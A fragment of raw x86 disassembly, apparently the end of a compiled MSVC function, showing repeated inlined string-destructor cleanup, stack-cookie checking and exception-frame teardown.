add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0xf
jbe 0x403e4a
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x2e4]
cmp ecx, 0xf
jbe 0x403e84
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x2fc]
cmp ecx, 0xf
jbe 0x403ebe
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403eb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x403ef8
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403eee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x200]
cmp ecx, 0xf
jbe 0x403f32
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x218]
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
cmp ecx, 0xf
jbe 0x403f87
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], 0
cmp ecx, 0xf
jbe 0x403fdc
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fd2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0xf
jbe 0x404031
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404027
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
cmp ecx, 0xf
jbe 0x404082
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404078
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0xf
jbe 0x4040b8
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046bab9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.00401280
call fcn.0047a12a
call fcn.0047a12a
call fcn.0047a12a
call fcn.0047a12a
int3